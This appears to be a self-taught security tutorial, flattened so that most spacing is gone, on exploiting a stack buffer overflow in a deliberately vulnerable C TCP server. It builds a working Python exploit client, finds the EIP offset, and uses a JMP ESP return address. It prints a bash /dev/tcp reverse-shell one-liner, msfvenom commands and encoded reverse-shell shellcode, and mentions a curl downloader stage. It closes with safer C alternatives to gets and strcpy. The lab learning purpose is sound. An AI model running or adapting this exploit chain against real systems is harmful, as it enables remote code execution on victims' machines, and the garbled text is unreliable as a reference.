ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
